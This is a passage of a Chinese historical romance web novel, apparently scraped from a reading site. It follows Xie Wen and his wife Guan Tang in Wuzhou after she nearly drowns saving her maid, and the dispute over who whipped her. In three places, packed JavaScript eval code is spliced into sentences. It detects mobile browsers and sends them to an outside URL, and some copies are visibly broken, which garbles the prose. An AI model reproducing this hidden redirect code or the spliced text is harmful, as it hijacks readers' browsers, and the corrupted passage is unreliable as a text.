听说徐继昌最初拿官驿墙毁搪塞观家诸人，将他们赶至罗城，没想到观氏女竟也乖乖听从安排。在谢闻心中，汴京贵女总给他一种非奢不用之感，且她这一路南下走走停停，用时颇久，看样子是吃不得一点苦头……但这样娇贵的女子，竟愿意为了一个丫鬟纵身跳进江水里，这点也不得不叫他叹服。 走进院子，隐约闻见空气中飘出的药味，谢闻思索了片刻，还是到了观棠所宿的东厢房前轻轻敲门。 过不一会儿，一个中年女子过来开门，他开口道：“钟……嬷嬷，你家娘子如何了？” 钟嬷嬷听他这样唤观棠，心头不悦，不说观棠情况，只是侧过身示意谢闻亲去看看，说：“郎君进屋再说吧。” 他迟疑了一瞬，最终还是抬脚迈了进去，留了德庆在屋外。 屋子里燃着醇厚的沉香，这特殊的香气立刻让谢闻意识到，他正在步入一间女子的屋子。 在汴京大婚那夜，恰逢观氏小日子，他二人并未行夫妻之礼，后来他仓促南下，诸事繁多，观氏女来了以后该如何面对，他半是刻意半是无意地抛之脑后。 当初狄叔劝他派人来接观氏，若他依狄叔所言，是不是观氏就不会遇上这些事了？ 思及此，好似鼻尖那若有似无的香味，谢闻心中也涌上了一种难以言说的愧疚，使得他靠近观棠卧榻的脚步愈发迟缓。 但屋内短短几步便已到头，谢闻已经能够清晰地看见那张卧榻，被子浅浅束了个轮廓，显得躺在上面的女子分外单薄。 他想到这里，走到床边，俯身去碰女子的额头。 倒没有发烧，手心里的肌肤甚至还有些冰凉。 “大夫来瞧过了？” 谢闻没有转头，只是看着观棠低声问。 “看过了，说应当只是一时昏迷。” 谢闻闻言，想到先前黄笤曾说，溺水或呛水之人刚刚上岸看不出什么异常，但或许在几个时辰后便会陡然生变，藏着一丝愠怒道：“几个时辰了还这样，再去找大夫。” 未听见身后的动静，谢闻转身扫视了一圈，屋子里立着的两个小丫鬟正面面相觑，那钟嬷嬷又拧着眉不说话，谢闻突然意识到，她们几人才被放出来，在此地人生地不熟，又去何处寻靠谱的大夫？ 双眸微阖，谢闻起身走到屋外寻德庆找大夫。 “郎君，是否你的伤……”德庆低声道。 谢闻白日里将观棠一路带回衙城，肩上伤口崩裂，又重新上药包扎，这些都由德庆操持。 “不是，是请人来看看观……”谢闻忽觉他不能在德庆面前如此喊观棠了，德庆不像岑禄，他是府内之人，日后也要听命于观棠这个谢夫人，于是他转而道：“黄笤如今尚在府中？” “是。” 谢闻敛目道：“先去寻大夫，若梧州城内的大夫不行，过一日我安排一队人马，你护送夫人回静江府。” 德庆点了点头。 再回到屋内，看着榻上的观棠，谢闻突然心绪万千。 连日的鞍马劳顿与负伤似已耗费掉他大半心力，这趟未知前路的梧州之行，在郁江畔与观棠猝不及防的重逢，以及那一团乱麻的州府，更像是一道道偏离了轨道的车辙印子，与他最初的谋划背道而驰。 轻叹一气，谢闻在床沿坐下，静静地望向观棠。 女子紧闭着眼，长睫在眼下投出一片浅淡的阴影，随着屋内的烛火轻轻跳动，好像松针被山风吹得不停摇摆。她的呼吸很轻，唇色淡得几乎和苍白的肤色融为一体，唯有抿着的嘴唇还绷着一丝不肯松懈的力道。 几缕乌发被薄汗濡湿，贴在她的额角和颈侧，谢闻的目光看向她脖子上的伤处，上过药后被纱布包裹得严严实实。 听栾慧说，这伤口是被马鞭抽出来的。当时他们一路往江边赶去，路遇一伙穿着统一的马队，观棠想要借马，话还未出口便被那马上之人挥鞭赶走，若非赵令羽眼疾手快，毁了容貌不说，怕是真有性命之忧。 现下看着观棠，他突然想起白日里栾慧的话。 “夫人一定非常自责，若再快几步，赶上青红被送入江心之前便能救下她的性命。”栾慧恨恨道，“郎主能否在城中寻到这伙人？” 他应下了栾慧此事，但到了州衙后忙着审讯徐继昌，此刻才想起来。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259411|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前女子似被困于梦境，口中嘤咛，眉心也拧作一团，谢闻见她面色愈差，忍不住伸手去她抚了抚她的眉头。 这时，德庆来报栾慧一事，谢闻心头烦闷，一时想推了让明日再见，但他是最清楚观棠这几日在梧州城内发生了什么的人，有些话他也想和栾慧细聊一二。 思索再三，谢闻起身对钟嬷嬷道：“大夫来以后，派人来同我说。” 得了钟嬷嬷的应诺，他快步走出了屋子。 谢闻不知，自己前脚刚走，后脚观棠便醒了过来。 睡梦中的观棠感觉一只手拂过自己的额头，那宽大的衣袍在耳畔窸窣作响，有些恼人，然后她便从梦中脱离。 人虽然醒了，但一时半刻却好像还陷在什么中间，身体又沉又重，无法睁开眼。这时，耳朵里隐约听见一个男子的声音，有些熟悉，她拿不定主意，却听房门一开一合，又无声响了。 因为想听听此人在说什么，思绪像是被拉紧的线，观棠刹时睁开了眼，呼吸也急促了一两分。 这时，正好钟嬷嬷上前来看她的情况，见观棠睁开了眼睛，惊呼道：“夫人，您醒了！” 观棠感觉自己脖子发紧，想要开口却带来牵扯感的疼，但她还是哑着嗓子道：“钟嬷嬷，青红呢？” 像是将先前的一切都忘得一干二净。 然而，钟嬷嬷悲悯的眼神像翻涌着的海浪兜头拍到了她的身上，观棠猝然回想起白天在江畔发生的一切。 当时她纵身跃入水中，带着一丝决绝，但很快被水流卷袭着，像是一枚飘零的落叶在江水里翻滚。 观棠感觉自己双手在水中上下起伏，就在她以为自己会葬身江水时，突然找到了一个着力点，原来是那系住木筏的绳子还未被岸上诸人解开。 攀着绳子，观棠得以从水中探出头喘息一口气，随后继续往前游。 绳子被拉拽着往江心深处，愈绷愈紧，说明那头还连接着木筏。 当时她脑海中诸多闪念，知道此时游回岸上，叫人拽着绳子将木筏拉回去才是最稳妥的办法，但她也知道，这一去一回青红再无获救的可能。 于是心一横，顺着绳子往前处游，万幸那木筏囚笼只是没入江水，她再次换了口气，潜入水中，在一片混沌中终于摸到了那囚住青红的木牢笼。 也许是承载了她的身体重量，那木筏在水势的带动下竟一点点与其上的牢笼分离，随后观棠在江水中抓住了青红的手。 她以为，她握住的是唯一的一线生机。 另一边，观棠所居院落的西厢房内，谢闻随意拣了张屋内圈椅坐下，将后背轻抵椅背，听着面前的栾慧不卑不亢道：“郎主可还记得我先前同你说夫人是如何受伤的？” “记得。” “我想问问郎主，若发现其人，该如何治罪？” “是何人？难道你寻见了？”谢闻沉声道。 “我想先问问郎主要如何治罪。” 谢闻将手搭在扶手上，手指状似无意地轻叩了两下，随后道：“她是我妻，对捍制使，而无人臣之礼者，当除以重罚。但若当时你们没有表明身份，此人为了维护自身出手伤人，我恐怕只能施以小戒，无法真正问罪。” 栾慧听见他最后那句话，眸中愤怒得仿佛要冒出火花，随后他冷笑一声道：“看来大人您早就知道那人是谁了。” 谢闻听了一头雾水，抬眸道：“你这话是什么意思？” “若非如此，大人怎会这么相护。” 谢闻的身子微微前倾，离开了椅背道：“你将话说清楚。” “那个您带回官驿的亲从官，岑禄，就是今日打伤夫人之人。”栾慧怫然盯着谢闻道。 27.第 27 章 屋子里安静得仿佛能听见屋顶瓦片脆裂的声音。 谢闻以为那只是他的错觉，但很快就听见了细细密密的雨声。 他知道栾慧在等他的一个回答，片刻后，雨水的声音在屋子里更加凸显，谢闻开口道：“此事我会向他求证。” 栾慧瞳仁一缩，随后道：“你不信我？” 谢闻深看他一眼：“我信你，但我不能只听一人之词。” 栾慧说：“大人，你可唤岑禄来此与我对峙。” 谢闻意识到，眼前之人是将满腔怒火通通浇在了岑禄和他身上，如此咄咄逼人，甚至有些不将他放在眼中。他先前还唤自己郎主，此刻已经满口“大人”了，世家之仆竟也如此倨傲？ 但即便如此，谢闻仍想依他所言，正准备抬声唤德庆，却想起后者去替那观氏女寻大夫了，并不在驿馆内。 他此行仓促，将朱达志留在了柳州养伤，何昉又被他送回了静江府，身边得力之人只剩德庆，岑禄被安置在官驿的哪一处院落他还真不知晓。 肩膀的伤口隐隐作痛，谢闻强忍不适，抬手轻抵额头说：“若有机会，我会让你二人对峙，但不是现下。” 栾慧心头不忿，尤其是见座上男子神色淡漠。 此人不知观棠这几日的九死一生和梧州那夜的厮杀也就罢了，但如今观棠就躺在对面东厢的榻上，为人夫的他不见半分焦灼和挂怀，得知自己手下伤了观棠，也想云淡风轻揭过去。 他二人在屋内正僵持着，却听屋外有人来报，说观棠醒了。 栾慧连忙拱手告退，离开西厢房后，很快在廊庑下头撞见杨季安。 “栾二哥！夫人醒了！” 栾慧点头，与他赶到东厢房门口，齐康正站在那里，见栾慧被杨季安带得也有些风风火火，伸手拦道：“莫要喧闹，钟嬷嬷说夫人无大碍，刚吩咐让后厨做些吃食送来。” “那我去盯着点，我脚程快，一做好就给夫人送来。”杨季安说完便转身一溜烟跑了。 栾慧说：“你不拦他？” 齐康摇头道：“现在各处都乱，叫他去看着点送入夫人口中的吃食也好。” 想到这院中还有那日挥鞭向观棠之人，栾慧眼中涌上一抹怨恨，齐康见状道：“你这是怎么了？方才竟独自去求见了那谢大人。” 观棠受伤一事乃谢闻手下所致这件事，栾慧本不愿宣之人口，但谢闻那般冷漠姿态叫他心中愤懑，先前强压的怒意再难按捺。 见东厢房门口只他和齐康二人，栾慧将他带到屋檐一角说了事情的来龙去脉，没想到齐康听完却连连摇头，说：“你这事办得大错特错。” 栾慧还在气头上，横眉道：“何错之有？” “咱们是什么身份？” “夫人的随从。” “错了，无论是我、你还是季安，亦或是……文四，”提到文四，齐康顿了顿，继续道：“都是都部署派到夫人身边的。归根结底，咱们其实是都部署的人。” 栾慧听了此话一愣，想说些什么，齐康抬手止了他的话头，说：“都部署把咱们派到夫人身边，为的是什么？为的是让她帮助谢大人在广南西路这几年平顺度过。你想想，再过几年，待谢大人调回了京城，咱们还会留在夫人身边吗？京城可是虎狼窝，世家盘桓，我们四个延州来的人毫无根基，夫人以后在汴京谢府掌中馈，到时候与人行事，你我恐怕都帮不上什么忙了。” 栾慧皱起眉头，齐康知道他心头不悦，继续道：“还有，你尚未成家，不知夫妻之间很多事情是无法由外人去说道的。这件事即便你心底希望谢大人去惩治他的手下，也不能直接去同他说，必须告诉夫人，由夫人去定夺。你知不知道你这样一插手，极有可能让他二人就此生了嫌隙？” 齐康所说像是一泼冷水浇到了栾慧身上，将他方才的满腔怒火熄灭不说，还在余烬上又狠踏了两脚。 “齐大哥，那这件事我是不是该赶紧告诉夫人？”栾慧问。 “莫要再生事端。当务之急是赶紧向谢大人请罪，说你方才确实行事鲁莽了些，但也是一心为夫人，我想大人不会与你计较。待夫人身体好一些，此事我会寻机向她说的。” 栾慧一时心神纷乱，齐康轻拍他的肩膀以示安抚，这时看见远处走来几个人，为首的便是谢闻。 齐康赶忙迎了上去行礼道：“郎主。” 谢闻轻轻颔首道：“德庆领了大夫回来，我……” 栾慧心中正忐忑，见状也快步跟上行礼。 见到栾慧，谢闻话头突然止住。他原想随大夫进去看看观棠，但想到此人方才同他说的那些话，德庆现下又回来了，便想着去找岑禄问问情况。 于是谢闻说：“你们领着进去吧，我还有些事要处理。” 他说完，带着德庆走了。 看着谢闻离去的背影，栾慧心想，恐怕他是真做错事了，正想追上去请罪，却见到齐康身边一个熟悉的身影。 是林二！ 他与林二在药铺那日算是九死一生共患难了，没想到才隔两日便又经历了这么多事，但德庆这趟带回来了三个大夫，栾慧倒不好上前去攀谈，便暂隐不发。 这边德庆跟着谢闻快步离开了院子，他闷头跟着，未料谢闻突然停下了脚步，自己险些撞上，吓得赶忙收脚。 “郎君。” “德庆，今日你是和岑禄一道进的衙城。” 面前的男子并未转身，德庆看着他的背影道：“是的。” “那你们……路上可有撞上什么人？” 德庆思索片刻道：“未曾。” 谢闻听了这话，心中不由地松了口气，抬脚往前走，这时却听德庆在身后道：“不过快要进城的时候倒是遇到几个匪徒，好像想要拦马，我在后头，没瞧清楚。” 他这话说得含糊，谢闻脚步猝然收住，这回德庆没留神，真真切切撞了上去，痛得谢闻一个闷哼。 德庆赶忙退到一旁告罪，谢闻稳住心绪道：“你为何说那伙人是匪徒？” “他们四人满身秽物，看见我们突然停了步子，还有人不说分毫便往前靠……不过这事儿也就发生在几息间，郎君，若非你问我，恐怕我真想不起来。” “你当时有没有瞧见岑禄用鞭子抽打一个人？” “抽打……”德庆回忆了片刻，道：“我打马经过的时候，见有两个人扑倒在地上，当时下雨，我看不太清楚，可能岑先生为阻此二人靠近，不得已出了手？但是岑先生一介书生，力气也不大，我看那二人后来便爬起来了。” 岑禄力气再不大，但他抽打的是一个女子！ 谢闻险些将心中所想说出。 德庆不知自家郎君心中此刻百转千回，讷讷道：“郎君要去哪里？要不要我备马？” 谢闻知道此事已近乎板上钉钉，唯一需要考量的是如何处置岑禄。那观氏女昏迷了几个时辰，栾慧来找他告知此事，她应当还不知道，但这会儿她已苏醒……思索再三，谢闻想，还是回去同她说说清楚，岑禄实非有意，只是怕她有心发难，非要岑禄受些皮肉之苦。 正准备转身回去，静江府的厢军统领马勰带着几个兵卒匆匆忙忙出现在前方的道路上。 “谢经略！”马勰看见谢闻，先喜后忧。 “怎么了？” “您让我去盘此地府库粮仓，我的人方才告诉我，梧州的官粮至多只能再撑四日。” “去备马。”谢闻对德庆道。 * * * 东厢屋内，几个大夫隔着垂帘轮番替观棠诊脉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259412|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她身上没有什么力气，诊脉时也一直阖目躺着。 半刻钟前，钟嬷嬷将谢闻到达梧州解救众人的事同她说了一嘴，此时她脑海里便一直在回忆江畔发生的事情。 原来那人真是谢闻。 她当时因为青红几近崩溃，几乎无法思考眼前人是谁，只依稀记得有一人替青红探了脉，然后告诉她青红已死。 此时她的手上也搭着大夫诊脉的手。 她还活着。 但青红永远不会回来了。 她的思绪就在这些字眼里来回跳转，呼吸时而快时而慢，几个大夫诊脉的时候都不言不语，随后由钟嬷嬷领着去屋外写方子。 这时，观棠听见外间有一个有些熟悉的声音，睁开眼对守在床畔的核桃道：“你去问一嘴，看诊的大夫里可有叫林二的？” 过不一会儿，核桃回来说是有一个，观棠听见便想起身，核桃见状便半扶半抱着助她起身。 “去请那个叫林二的大夫来。” 核桃领命去了，但却是钟嬷嬷带着人回来的。 观棠披了件衣服坐在床沿，面前的帘子还没撤，她轻咳两声，对林二道：“罗城一切都好吗？达妍昭怎么样了？还有药铺里赵令羽的那些手下，他们如何了？” 钟嬷嬷诧异他二人竟相熟，眼神上下打量起林二，后者刻意忽视，回道：“回夫人的话，镇南门已经打开了，罗城现在由柳州和静江府的两路厢军统管，梧州兵马营都暂时出不得营。达妍昭一切都好，只是常问我您去哪里了。还有赵队将的手下，他们能动弹的也在城内帮厢军维持秩序。” 他一一耐心作答，听着林二的话，观棠心中稍缓口气。 她最为惧怕的便是徐继昌为对付她，设计害死青红的手段只是在掩藏罗城隐患，如此想来，也许此人真的是孤注一掷，才用了生人祭这样丧心病狂的法子。 他二人正说着话，杨季安送来了热腾腾的汤饭，丫鬟采禾端了进来。林二扫了一眼采禾放在桌上的吃食，说：“夫人，其实您不用吃什么药，这几日多多休息，多多吃饭便好。” 他所言也是观棠所想，于是观棠点了点头说：“我知晓了，多谢你深夜跑这一趟。” 林二拱手想要告退，这时观棠道：“林二，达妍昭是个女孩子，在你们药铺一直待着也不好，明日我寻人去接她来官驿吧。” 林二道：“夫人可是要将达妍昭带走？若她留在梧州，我想我多一个小学徒也未尝不可。” 观棠有些失笑，几番接触下来，观棠知道林二的医术只能算是将将出家，但他总十分自信。不过在此鱼龙混杂之地为人医，或许就是要大胆些。 想到这里，她开口道：“如今梧州城患已解，我先前没有问她是否有别的亲人，是怕她徒增念想，万一叫她希望落了空……你今夜回去问问她，有没有家人在其他地方，我会送她回到她家人身边。” 林二倒也没有迟疑，应诺以后告退。 他走以后，观棠起身吃了些饭食，又回到床上，听着雨声渐渐入梦。 她不知道自己这一觉又睡了多久，但再醒来时，雨已经停了，屋子里沉闷极了，床幔被围得严严实实，不知现下几时。 观棠想要伸手去拉开帷幔，只是她一时忘了脖子上的那道伤口，突然的阵痛才叫人反应过来，顿时倒抽了一口气。 还不待她放缓呼吸，床帷突然探入一只手，手掌很大，看起来骨节分明，苍劲有力。 是男子的手？ 观棠心中生疑，但见帷幔被徐徐推开，宛若静水遇风，漾开波纹，随后露出微蓝的天光以及男子的身姿。 人十分高长，好似松竹。 谢闻垂眸看向她，敏锐地捕捉到了观棠眼神中的警惕。 她没认出自己？ 28.第 28 章 谢闻当然知道，此时此刻，他不该出现在观棠的屋内，于是他硬着头皮开口：“你莫怕，我是谢闻。” 女子的目光紧锁在他身上，这种毫无保留的凝视使得他周身不自在了起来，谢闻努力解释道：“我只是……从外头回来，见房前无人值守，进来看一眼。” 他的话让观棠的身子动了动，见她半支着身子想要坐起，动作有些迟缓，便伸手过来扶她。 男子的手十分自然地托着她的胳膊，隔着衣袖感觉到灼热的手掌心，观棠不着痕迹地收回手，低声说：“多谢。” 谢闻也将两袖背于身后，回望了一眼她的屋子道：“我进来看见那个小丫头在睡觉，正巧听见你这边的动静。” 顺着他目光的方向，观棠看见在榻上睡得正酣的采禾，随后迎向谢闻的目光，说：“齐康他们是我让回去的，这里是官驿，里三层外三层有你们的人守着，我想就算他们在外头站一个通宵，也不会发生什么。” 仿佛话里有话。 她不远万里来了广右，应当该被他照拂，却在梧州遇上这样的事。 抬手揉了揉眉心，谢闻道：“我要向你说一声抱歉，没有及时派人来接你们，若非如此，你那丫鬟也不会……” 观棠听他提及青红，肩膀立刻紧绷了起来，但谢闻却没有继续说下去。 过了好一会儿，屋子里静得连卧榻上采禾绵长的呼吸声都听得见，女子清泠泠的声音在黑暗中响起：“我不太明白，你想听我说什么？说青红的死不是你的错，叫你不要自责？还是……你忘了你一早便同我定下的，秦晋之约？” 她的语气充满讥讽，又仿佛是刻意用来掩藏她心底的悲愤，谢闻一下如鲠在喉。 而她的说辞，也确实是大婚那日他亲口对她所说。 “今日红烛高照，你便视作是秦晋之盟结成吧。从今往后，你守中馈之责，我尽庙堂之任。内帷不干外政，外务不涉深闺。相敬如宾，各安其位，便是对彼此最大的体面。” 他曾在扬州学府的门前见她如何拿捏她的胞兄，又曾在陈府芥园里听说了她的舌灿莲花，原以为女子会立刻反唇相讥，不料那红烛映着红妆，凤冠的珠翠上流光溢彩，女子眼中却一闪而过一丝慌乱。 只是一个眨眼的功夫陡然消散。 谢闻觉得自己可能看错了，因为眼前之人已经敛身坐正，淡然一笑道：“我记下了。” 后来他们合衣同塌而眠，两人都未睡好，第二日拜见母亲和舅舅时，他仍觉得她通身的世家陋习。因为隔日便要南下，午后他与她回门时十分仓促，一路上也未尽一丝为人夫的体恤。 是啊，现如今，他说这些话又有什么意义呢？ 谢闻闪念其中，久久未开口回应，此时，窗外那抹幽蓝天光突然露出一抹亮色，像是江雾半笼在谢闻周身，观棠这才看清他身上穿着绛色官服，袍脚和皂靴还沾了不少泥。 鼻息间涌来一股药膏味，混杂在他衣袍的土腥味里，观棠抬头目视男子，见他眉宇间倦色深沉，面上甚至还冒出了些胡茬，在破晓微光的映照下显得格外清晰刺目，他这是……彻夜都在外头？ 她想起昨晚林二同她说，整个衙城和罗城都被谢闻带来的兵马接管了，恐怕现在梧州事事都要他去拿主意。 “我只问你，你要如何处置徐继昌，还有那个兵马营的头子？”女子淡声道。 “兵马营的人我已经悉数拿下了……至于徐继昌，此人身上牵扯的案子不少，还需推司从旁协助，我会将他押解到静江府。另外……”谢闻微微垂眸，“你可知李通判已死？” 他最后那句话让观棠十分震惊，她问：“是徐继昌所为？” 见眼前男子颔首，观棠心想，此人真真是无纲无常、无法无天之徒。 但想到李通判的下场，观棠忙问：“你可知护送我南下的殿前司虞候姜丕，他们有六个人，当初是我令他们进城说服通判去燃烽火的，若通判如此……” 谢闻听她所言有些诧异，未料到她在其中做了这么多，但见她眼神愈发急切，很快摇头道：“他们无碍。殿前司这六个人在州衙的牢里被找到，身上没什么伤，只是饿了好几日，恐怕还需修养一段时日才能恢复。” 观棠闻言长舒口气，若姜丕也惨遭不幸，她真真会后悔自己当初所做的一切。 见她如此，谢闻思索再三，还是道：“徐继昌作恶多端，但他于京中那些人而言不过是一个再小不过的棋子。若能将他这枚棋子多加利用，牵制住他们接下来的行动，才有利于广右的局面。我必须说的是，此案的审理难度不小，也许……他会活得比你想象中要久。” 本以为女子会即刻斥驳他，但就像大婚那夜一样，谢闻再一次想错了。 片刻后，观棠开口，声音沉闷：“你若真打定主意要送徐继昌去静江府受审，我只想提醒你一件事，他与此地的水匪勾结颇深。” 谢闻见她面上带着深深的恹恹不振，似是在其中亲身经历了不少。他其实很想问问她这几日在梧州的详细经过，但话堵在喉头，不知为何竟说不出口。 过不一会儿。谢闻低声道：“我知道了，谢谢你的提醒。” 听见他的话，似有一丝决然地，观棠抬起头道：“不，你不知道我的意思。我当然希望徐继昌死，我恨不能马上提刀去将他千刀万剐，生啖其肉，但是……此刻他沦为阶下囚，希望他死的人决计不止我一个。” 此刻，慢慢转暖的天光洒在女子面庞上，她的声音落在谢闻耳中微微发颤，但她的眼角并无泪光，晓色拂面，将她的眸子照得清亮慑人。 谢闻沉吟许久，最终只道出一个“好”字。 见他如此，观棠心中突然涌上一股倦意。 “若没有旁的事，你……还是早些回去歇息吧。”她将头偏到一旁不再看他。 她的逐客令很快见效，谢闻并未再多说一句话，转身走了。 轻阖上房门以后，谢闻站在廊庑之下，不知为何始终迈不开步子。 半个时辰前他回到官驿，鬼使神差地，他想去看一眼观棠。 不光是他在床前对她说的那牵强的理由，谢闻没有道出口的是，今夜他在罗城听说了一些她的事。 他听说徐继昌当初打着保护经略使夫人的旗号开了镇南门，又射杀冲关的百姓，幸而观棠早走了一步，并未落入他的圈套。 为了保护世族而去戕害平民，若这种罪名真扣在了观棠的头上，只怕悠悠众口，浩浩骂名，足以将她生生逼入死地。 没想到她走了，却又折返回来，甚至还带回了援兵，固堤疏水，控粮施粥，使得城内没有大乱。 至于徐继昌有意借题发挥，散布她为厄母娘娘的传言，又再次利用她的名声去行祭祀典例，想要令她成为一个愚昧无知的典例，但观棠宁愿跳江救人也不愿献出自己的婢女，自然破了徐继昌的歹计。 更何况，这一切的一切，根源其实都在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263560|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身上。 观氏是经略使夫人，是他谢闻的妻子，徐继昌为了对付他，才对她步步紧逼，一次比一次狠绝。 想到这里，谢闻仰头深吸了一口气。五更天湿凉的空气渗入肺腑，将他方才在自己妻子屋内感受到的钝痛撕开了一道细微的裂缝。 若可以像之前那般，只是直勾勾地去厌弃有着世家背景，又间接害死自己老师的观氏女，谢闻自然是一身轻松。 可是偏偏，偏偏他亲眼看到她为了救自己身边人舍出性命，又听闻她在城内苦苦支撑时的遭遇。 从前的那些迁怒和恨意，竟都化作了一个无形而清冽的耳光，甩到了他的面上。于是，这份隐痛只能咬着牙去承受，无法为外人道。 突然，谢闻意识到，伤她之人是岑禄一事还未告知她。 他回身看了一眼那自己亲手阖上的房门，犹豫片刻，还是转身往西屋去了。 观棠直觉谢闻在屋外又站了许久才离开，一直提着的心慢慢放下。 抚着脖子上的伤处，她摸到了纱布的扎带处，将其解开，这才觉得心中的憋闷真正散去了一些。 只是回想起方才谢闻在屋内说的话，想到无法立刻为青红报仇，她心头又涌起剧痛，喉间也仿佛添了一丝腥甜。满腔愤懑，最终只能化作锤击身侧床榻的一锤重拳。 床榻传来的沉闷响声像是一声雷鼓，激出她的泪水，观棠将自己埋入被褥，嚎啕大哭了起来。 过了不知多久，一只手轻轻搭在她的肩上，观棠转身见是采禾，擦了擦眼泪道：“吵醒你了。” 采禾犹豫了一下，小声说：“姑娘，其实我早醒了。但是您放心，您与姑爷在里间说话，我并未听清。” 观棠坐直了身子，平静了一下心绪道：“采禾，对不起，我没有护好你们。” 采禾连连摇头：“这些坏事都是旁的人做下的，为何姑娘你要揽到自己身上？” 见采禾的眼中满是关切和心疼，观棠不再说什么，抬手抹去了脸上的泪痕。 她们主仆二人坐着又说了一会儿话，采禾去屋外给观棠烧水打水，隔壁间的钟嬷嬷听见响动也很快起来了，收拾好后来到观棠屋子里。 她一见观棠便道：“夫人，您怎么把纱布取了。” 观棠侧了侧头，说：“这样敞着舒服些。” “这样可容易留疤了……” 她絮絮叨叨，又重新给观棠涂药裹纱布，不厌其烦的模样令观棠也有一些感怀，她低声道：“好了好了，已经系得很紧了，我不会再拆下来了。”末了又补了一句：“您放心。” 这三个字不知令钟嬷嬷想到了什么，却见她马上红了眼眶，站起身道：“我去给姑娘看着点早膳。” 见妇人快步离开了屋子，观棠轻叹口气，采禾端着水盆进屋道：“姑娘，来洗把脸吧。” 只是服侍观棠梳洗时，采禾说了一嘴，那日兵马营的人在她们这群仆妇里要抓人走，钟嬷嬷本护着她们几个丫鬟，拉扯间，青红见兵卒要押走年纪最小的核桃，便冲上去阻拦，不小心挠伤了一个人。那人被激怒，最后将青红打了一顿带走了。 观棠听到这里，呼吸渐促，采禾却小声说：“姑娘，我还记得他们几人长什么样。” 观棠立刻明白了她的意思，说：“我定将他们找出来。” 接下来用早膳的时候，观棠便一直在想这件事。 若想抓捕兵马营里的人，总得经过谢闻之手罢。 29.第 29 章 观棠吃过饭后找来栾慧，让他去安排车马。 她原想让栾慧直接去将达妍昭接回来，但是栾慧说昨日那般境况，赵令羽后来自然就回药铺去了。 观棠想，她答应了他粮草和调任水寨内的役满之人，但这几日，他失去了那么多手下和海鳅船，总得去再去与他商议一下如何弥补，顺便看看罗城如今的景象。 正思索着，屋门叩响，观棠以为是栾慧，命采禾去看一眼是不是都安排妥当了，没想到来人是谢闻身边的长随德庆。 “夫人，郎君听说您想要出趟城，问我您有什么事？如今罗城还未安稳，如果不是非常紧急的事，我可替您去办。”德庆立在门外，不卑不亢道。 观棠心道，谢闻五更天的时候出现在她屋子里，才歇下没几个时辰，现在便起来理事了？ 但她并不在意，略一思索，开口道：“我确实有件事想办。” 屋内传出来的女子声音清越冷冽，德庆稍稍抬眼望了过去。 他是常替谢闻处理府外之事之人，不像何昉，德庆鲜少踏足内宅。因此，无论是郎君的大婚之夜，还是隔日的回门，德庆只在人影交错间才仓促地瞥见几眼郎君的妻子。 眼前的女子确实如传闻中姿容端丽，面上虽略带倦容，但双眸清亮沉静，仿佛能将人一眼看到底。明艳的眉眼与周身的气度相结合，藏着一股将门之后的杀伐果决，竟无端端让德庆感觉到了一丝威压。 他有些慌乱地低下头道：“夫人请说。” “我需要去一趟兵马营。” 于是，片刻后，听了德庆的来报，正在拆信函的谢闻停下了手，皱起眉道：“她当真是这么说的？” “是，那栾慧一早便命人去备了车马。” 沉寂片刻，谢闻取出手中的信纸，头也未抬道：“她有说要去兵马营做什么吗？” 上下扫了两眼手中信纸，谢闻一边思索着一边将纸张重新叠起。 这封信是来自象州防御使曹佐林的，他先前带走了刺杀谢闻的两个人，一路押解到柳州，在柳州大牢里问出此二人是韦家派来的。 韦姓乃广右的土著大姓，人口众多，静江韦氏是当地豪族。 谢闻被刺时便隐约猜到这伙人应与那几个世族有关，因此看到来信时并不惊讶。只是曹佐林刻意自信中问询他如何处置这两人，倒像是想刺探他会不会趁机向韦家发难。 谢闻正在想是该让曹佐林将这两个人送到静江府，还是暂押柳州，只听德庆在耳畔道：“夫人说，她想找几个人。” 手上的动作停了片刻，随后谢闻将信放回信纸，说：“我知道了。” 德庆听了却一头雾水：郎君这是知道了此事，还是知道夫人要去兵马营找谁？正踌躇着如何去向观棠复命，却见谢闻站起身说：“你帮我穿衣吧。” 他胸前的伤处反复，想着这两日无论如何都不要再加剧了，琐事便都指使下人去做，但谢闻又不喜旁的人动他的贴身物件，官驿里的小厮送来饭食时，他思索再三，还是自己去找了件外袍出来。 结果忙活半天，还是行不通，只好放弃等德庆回来。 德庆手脚麻利，为其穿戴妥当，整理腰间绦带时，谢闻见他一副神游天外的模样，问：“怎么？这衣服有碍？” “不是。”德庆忙道：“只是在想郎君今日怎么不穿官服了，可是不入衙司了？” 谢闻听他说这话，低头看了看自己翻出来的这身竹绿色襕袍。这衣服剪裁极佳，做工甚巧，是往日在汴京偶有赴宴时才会穿。 他瞥了一眼放在一旁的官服，说：“昨日去粮仓时弄脏了，我方才倒忘了叫人拿去清洗。” 